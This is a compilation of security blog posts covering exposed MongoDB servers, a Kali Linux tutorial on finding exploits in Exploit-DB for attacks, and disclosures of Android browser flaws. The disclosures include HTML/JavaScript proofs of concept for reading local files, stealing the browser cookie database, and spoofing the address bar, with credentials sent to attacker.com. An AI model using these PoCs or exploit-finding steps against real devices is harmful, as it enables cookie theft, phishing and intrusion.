600TB MongoDB Database 'accidentally' exposed on the Internet

System administrators have reportedly exposed almost 600 Terabytes (TB) of MongoDB database due to running outdated and unpatched versions of the NoSQL MongoDB database.

The open source MongoDB is the most popular NoSQL database used by companies of all sizes, fromeBay and Sourceforge to The New York Times and LinkedIn.

According to Shodan's representative John Matherly, nearly 30,000 MongoDB instances are publicly accessible over the Internet without the need of any form of authentication.

This huge MongoDB database isn't exposed due to a flaw in its latest version of the software, but due to the use of out-of-date and unpatched versions of the platform that fail to bind to localhost.


While investigating NoSQL databases, Matherly focused on MongoDB that is growing in popularity.

"It turns out that MongoDB version 2.4.14 seems to be the last version that still listened to 0.0.0.0 [in which listening is enabled for all interfaces] by default, which looks like a maintenance release done on April 28, 2015," Matherly wrote in a blog post.

The security issue was first reported as a critical vulnerability back in February of 2012 by Roman Shtylman, but it took MongoDB developers a bit more than two years to rectify this security flaw.


Affected, outdated versions of MongoDB database do not have a 'bind_ip 127.0.0.1' option set in the mongodb.conf, potentially leaving users' server vulnerable if they are not aware of this setting.


According to Shtylman, "The default should be to lockdown as much as possible and only expose if the user requests it."

Affected Versions

Earlier instances of version 2.6 appeared to have been affected, significantly putting users of MongoDB database version 2.4.9 and 2.4.10, followed by 2.6.7, at risk.

Majority of publicly exposed MongoDB instances run on cloud servers such as Amazon, Digital Ocean, Linode, and Internet service and hosting provider OVH and do so without authentication, making cloud services more buggy than datacenter hosting.

"My guess is that cloud images do not get updated as often, which translates into people deploying old and insecure versions of software," Matherly said.

Affected users are recommended to immediately switch to the latest versions as soon as possible.

This isn’t first time when MongoDB instances are exposed to the Internet, back in February German researchers found nearly 40,000 MongoDB instances openly available on the Internet.

Kelly Stirman, VP of Strategy at MongoDB, told The Hacker News in an email, “Recently a blog post was published that claimed some users had not properly secured their instances of MongoDB and were therefore at risk. As the article explains, the potential issue is a result of how a user might configure their deployment without security enabled. There is no security issue with MongoDB - extensive security capabilities are included with MongoDB.

“We encourage all users to follow the guidelines we prescribe for security. Security best practices are summarised here, or customers can contact MongoDB support. This is an important opportunity for everyone to ensure they are following security best practices.”

Kali Linux Tutorial: Finding Exploits Using the Searchsploit Tool

What is Vulnerability Exploit?

Words like "exploit" and "vulnerability" are tightly bound together. Often, a script/program will exploit a specific vulnerability. Since most vulnerabilities are exploited by script kiddies, the vulnerability is often known by the name of the most popular script that exploits it. In any case, there are broad-spectrum vulnerability scanners/assessment tools that will scan a system and look for common vulnerabilities. These are often used in order to toughen up a computer system.

In computer security, the term vulnerability is applied to a weakness in a system that allows an attacker to violate the integrity of that system. Vulnerabilities may result from weak passwords, software bugs, a computer virus or a script code injection, and a SQL injection.

Introduction

When we are looking for ways to hack a system, we need a specific exploit to take advantage of a certain vulnerability in the operating system, service, or application.

Remember, exploitation is very specific, there is no one silver bullet that will allow you to exploit all systems. You need to find an exploit that will specifically take advantage of a vulnerability in the system that you are attacking. That is where the Exploit Database (www.exploit-db.com) can be so incredibly useful.

EDB is a project of Offensive Security, the same folks who developed BackTrack and Kali Linux, which includes exploits categorized by platform, type, language, port, etc. to help you find the exploit that will work in your particular circumstance. Then, if you feel it will work on your target, you can simply copy and paste it into Kali for your attack.

Must read: An Introduction To Hacker’s OS: Kali Linux Setup Tutorial

Step 1: Fire Up Kali & Open a Browser

Let's start by firing up Kali and opening a browser, such as Iceweasel, the default browser in Kali (EDB can be reached from any browser, in any operating system). If we use the default browser in Kali, we can see that there is a built-in shortcut to the "Exploit-DB" in the browser shortcut bar, as seen below.

When we click on it, it takes us to the Exploit Database, as seen below.

If you are not using Iceweasel and its built-in shortcut, you can navigate to Exploit-DB by typing www.exploit-db.com in the URL bar.

Step 2: Search the Exploit Database

If we look at the top menu bar in the Exploit Database website, second from the right is a menu item called "Search". When we click on it, it enables us to search the database of exploits and returns a search function screen similar to the screenshot below.

Let's use this search function to find some recent Windows exploits (we are always looking for new Windows exploits, aren't we?). In the search function window, we can enter any of the following information;

• Description
• Free Text Search
• Author
• Platform (this is the operating system)
• Type
• Language
• Port
• OSVDB (the Open Source Vulnerability Database)
• CVE (Common Vulnerability and Exploits)

The last two fields can be used if you are specifically looking for an exploit that takes advantage of a known, numbered vulnerability in either of those databases.

In the Platform field, enter "Windows", in the Type field, enter "remote", and in the Free Text Search box, enter "Office". When we do so, the Exploit Database returns a list and a link to all of the exploits that meet those criteria. Of course, you can put in whatever criteria you are searching for. I am only using these as an example.

Step 3: Open an Exploit

From the search results page, we can click on any of the two pages of search results and it will take us to the particular exploit. I clicked on the very first exploit in the list "Internet Explorer TextRange Use-After Free (MS14_012)". When I do so, I am brought to a screen that displays the exploit code like that below. I have circled the description in the code of the exploit.

This exploit works against Internet Explorer that was built between August 2013 and March 2014. If you want to use it, you can simply copy and paste this text file and put it into the exploit directory in Metasploit (if you are using an up-to-date version of Metasploit, it is already included). This is a good example of how specific an exploit can be.
Step 4: Open Up Searchsploit

Kali, having also been developed by Offensive Security, has built into it a local database of exploits based on the same Exploit Database. We can access it by going to Applications -> Kali Linux -> Exploitation Tools -> Exploit Database and clicking on searchsploit as shown below.

It will open a screen like that below that details the basic syntax on how to use searchsploit. Note that it explains that you must use lowercase search terms and that it searches a CSV (comma separated values) file from left to right, so search term order matters.

Step 5: Search the Exploit Database with Searchsploit

Now that we have opened a terminal for searchsploit, we can now use this tool to search our local copy of the Exploit Database. As you might expect, our local copy of the exploit database is much faster to search, but does NOT have all the updates that the online database does. Despite this, unless we looking for the very latest exploits, the local database works fast and is effective.

One other note on its use. As the information is organized in CSV files, searches locally often will yield results slightly differently than the online database. In the screenshot below, I searched for "Windows" and "Office" and only received a single result, unlike what I received when I used the online database.

Exploit Database is an excellent repository for exploits and other hacks that we might need, including new Google hacks, white papers on security and hacking, denial of service (DOS) attacks, and shellcode that you can use out the box or tailor for your unique attack.

Recommended Articles To Become A Hacker:

How To Become A Hacker - Basic Guide For Beginners 2015

Understand The Hacker Mindset To Become A Real Hacker

Programming Languages For Hackers And Learn It From Most 6 Helpful Websites

Installing Hacker's OS Kali Linux In VMware (Beginners Guide With Screenshots)

Easy Steps to Create Web Penetration Testing Lab in Kali Linux

Introduction to using Metasploit in Kali Linux

An Introduction To Hacker’s OS: Kali Linux And Setup Tutorial.

Linux Powerful Distros For Hacking Or Security: Kali, Tails And Qubes

Become A Hacker: What Is Denial of Service (DoS) Attack?

Stealing Android Browser Cookies Using Cross Scheme Data Exposure Attack

tl;dr This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlite cookie database file and hence exposing all cookies. Along with it we will talk about a Cross Scheme Data exposure and intent URL scheme attack in Android < 4.4.

Introduction

During our research on ASOP (Stock Browser) we found out that is is possible to open links to local files using file:// protocol by from a webpage by selecting "Open Link in New tab" from the context menu". This itself is does not represent a vulnerability unless there is a way to read local files and use be able to retrieve the files remotely. However, what caught my attention here is this by default is not permitted browsers such as Chrome, Firefox, Opera etc.

The following screenshot demonstrates the error which is obtained when trying to access a local file from context menu.

Attack Plan 

In order to exploit this issue, the following was the attack plan we came up with:

1. User visits Attacker.com.
2. Attacker.com forces a download (exploit.html) on the victim's browser using content disposition header. The purpose of the exploit.html would be read local files and send it back to the attacker.
3. The victim opens up a link by selecting "Open Link in New tab" which opens the local file exploit.html which was forced as download.
4. Our file exploit.html would then be reading other local files and sending it back to the attacker.

In order to write an effective exploit for the attack, I coped up with Haru Sugiyama a Security researcher from Japan. He came up with the following POC:

http://133.242.134.241/firefox/test.html

Upon accessing the above page from android browser, it would first force the following file "exploit.html". Both FireFox and Android browser save files to '/sdcard/Download/exploit.html' in case sdcard is available. The exploit.html file would then try reading the other local files. However, this was not easy as it looked at first sight. Let's first talk about how the results from Android Gingerbread were different from Jellbeans.

Android Gingerbread:Observations 

In case of Android Gingerbread Emulator build 2.3 we are easily able to read other local files, this represents a vulnerability as in the browser, as it effectively allows a website to perform cross domains data theft and hence violating the same-origin-policy. The impact however is not large as roughly 11.4% of the users now use Android Gingerbread and they are dying slowly just like windows xp.

Android JellyBeans: Observations

In case jellybeans we found out that a local file was not able to read a local files, We then tried our old null byte trick and it worked like a charm.

The following is the POC:

<button onclick="exploit()">Read iframe</button>
<button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button>
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe>
<script>
function exploit() {
  var iframe = document.getElementsByTagName('iframe')[0];
  try{
    alert("Try to read local file.");
    alert("contentWindow:"+iframe.contentWindow);
    alert("document:"+iframe.contentWindow.document);
    alert("body:"+iframe.contentWindow.document.body);
    alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
  } catch(e) {
    alert(e);
  }
}
</script>

However, due to the discovery of CVE-2014-6041 the nullbytes issue was already patched and the above exploit did not work on patched devices.

Intent URL Scheme Attack

Based upon our above findings it was concluded that in Android Jellybeans the access to local files was not an issue due to the fact that a local file could not read other local files. However Joe Vennix from metasploit team came up with a more strong way to exploit it by abusing the intent scheme. The following paper -> http://www.mbsd.jp/Whitepaper/IntentScheme.pdf describes a potential way of exploiting this issue. The following is the POC described in the paper:

The idea behind the attack vector is to saved a cookie containing javaScript code and trick the victim into opening the sqlite database file. Upon viewing the injected javascript would be executed in the context of a cookie file and would grab the rest of the cookies from the database file. Following is the basic POC, when when executed would read the entire webviewCookieChromium.db file.

<!doctype html> <html> <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head> <body style='width:100%;font-size: 16px;'> <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'> Redirecting... To continue, tap and hold here, then choose "Open in a new tab" </a> <script>

document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';


</script> </body> </html>

Joe has created a Metasploit module, which automates the process of stealing the cookies and sending it back to you , since the db file also contains httponly cookies as well this attack is quite dangerous.

Steps to Reproduce with Metasploit:

The following screenshots would walk you through the process of exploiting and retrieving the cookies:

If you don't know how to use metasploit then i suggest you to read this article: Introduction to using Metasploit in Kali Linux

Step 1 - Setting up the Module

Step 2 - Stealing The Cookies

All you need to sit back and watch the cookies coming to you.

Step 3 - Enjoy

Patch

The access to the data directory was tightened back in Feb 2014, however due to the android patch policies the patch did not make to most of the vendors.

Credits

I would like to thank Tod Beardsley and Joe Vennix from the metasploit team for their extensive support with analyzing and helping to co-ordinate with Google effectively. As well as Haru Sugiyama for his help and support.

Recommended: Android Browser - Address Bar and Content Spoofing Vulnerability

Android Browser - Address Bar and Content Spoofing Vulnerability

Address Bar Spoofing Vulnerability

Google security team themselves state that "We recognize that the address bar is the only reliable security indicator in modern browsers" and if the only reliable security indicator could be controlled by an attacker it could carry adverse affects, For instance potentially tricking users into supplying sensitive information to a malicious website due to the fact that it could easily lead the users to believe that they are visiting is legitimate website as the address bar points to the correct website.

Few months ago it discovered an address bar spoofing vulnerability affecting Android Stock Browser on all Android versions. The tests were carried out on Android Lollipop and later were confirmed on prior versions.

The issue is caused due to the fact that the browser fails to handle 204 error "No Content" responses when combined with window.open event and therefore allowing us to spoof the address bar.

Steps To Reproduce

1) Visit http://jsfiddle.net/dy4swq4o/show/ with Unpatched Android Stock Browser.

2) click the "Click here to be redirected" button

3) Android browser will open a new tab with the browser pointing to "http://www.google.com/csi" in the address bar, which makes the victim believe that they are infact visiting a legitimate website, however in reality the page is not hosted on google.com. 

4) As soon as the victim enters his/her credentials, they are sent to attacker.com.


Note: Please visit https://jsfiddle.net/dy4swq4o/ for unrendered version of the POC.

Proof of Concept

The following is a screenshot of Samsung Galaxy S5 running latest android stock browser, as you may notice that the address bar points to https://www.google.com/csi (Which returns a 204 response), which makes the user believe that he is infact visiting a legitimate site however it's hosted on attacker's domain name. 

Notes: Joe Vennix suggests that you might have to play with my timeout value , and he found 1500 - 2000 to work much more consistently. This issue is due to the fact that, In case if the timeout fires too soon (before the NO CONTENT response is received from gmail.com), the new page will just have a blank URL bar.

Credits

The proof of concept was initially created by "Rafay Baloch", however it was later modified and improvised by "Joe Vennix" and "Tod Beardsley" from Rapid7 team handling the disclosure.

Mitigation

The Android security team has responded by releasing patches committed to both Kitkat and Lollipop main distributions. Users are advised to contact their carriers to determine if they have received updated versions of these operating systems."

Kitkat Content Spoofing Vulnerability

The following is a low risk vulnerability that was found few months ago while testing the latest Android Stock browser on Android Kitkat. The issue that was found is commonly referred as Content spoofing Vulnerability or dialog box spoofing vulnerability which could be used to fake an alert message on a legitimate website.

In other words, we could display an alert box (Of our choice) on the site of our choice. Whereas in chrome, Firefox and other browser the alert box appears on correct tab.

POC

<a onclick="test()">CLICK</a>
<script> function test()
{ window.open('http://bing.com/') setTimeout (function(){alert("HACKED");}, 5000) }
</script>

Upon executing the above code, the alert box would be displayed on bing.com.

Technical Details

The issue resides inside of the ASOP browser, and more specifically due to the fact the webview fails to overwrite the WebChromeClient.onJsAlert() method which is responsible for displaying the javascript alert box and this way webview is not able to switch the JsAlert() to the correct tab.

Recommended: Benefits Of Rooting Android Devices And How To Root Without Computer

A Brilliant Idea to Anonymously Access Wi-Fi from 2.5 Miles Away

Anonymity is something that seems next to impossible in this era of government surveillance. Even Tor and VPNs are no longer seem to be enough to protect user privacy. Once your IP address is discovered, your Game Over!


However, a method have been devised that not only allow users to anonymously connect to public Wi-Fi network, but also let them connect from about 2.5 Miles away.


Security researcher Benjamin Caudill has developed a device that adds an extra layer of anonymity to whistleblowers, journalists, dissidents and, of course, criminals.


Dubbed ProxyHam, it's a "hardware proxy" that allows users to connect to a long-distance public Wi-Fi network over an unidentifiable low-frequency radio channels, making it more difficult for government agencies and spies to unearth the real identity and source of the Internet traffic.

How Proxyham is made?

Proxyham is comprised of a WiFi-enabled Raspberry Pi computer, along with a three antennas setup. One antenna is used to connect to a source Wi-Fi network at a public place, and the other two antennas are used to transmit the Wi-Fi signal at a 900 MHz frequency.


By relying on a 900 MegaHertz radio connection, ProxyHam effectively connects to a far-away Wi-Fi, with a range of between 1 and 2.5 Miles, depending upon certain interference factors.


Therefore, in case if spies manage to completely trace the target's internet connection, they will find only the IP address of ProxyHam box transmitting a low-level radio signal thousands of feet away in some direction.


Caudill tells Motherboard that he and his colleagues are also working to add additional features like self-destruction to the ProxyHam. Future iterations might be small enough as to fit Proxyham into a book to make it easier to hide.

"If you throw this in a library it would take you years to be able to identify it," Caudill said.

Caudill will unveil this game changer ProxyHam box at the Def Con hacker conference in Las Vegas next month. He will also release the hardware specs, the source code and the blueprint of the device so that anyone can develop their own.


Caudill is planning to sell ProxyHam at cost for $200, "as a service to the community," and he also hopes that he’ll be able to drop the price to $150 soon.

Source: www.thehackernews.com

Recommended: Kali Linux Tutorial: Setting Up ProxyChains + Tor For Anonymity And Security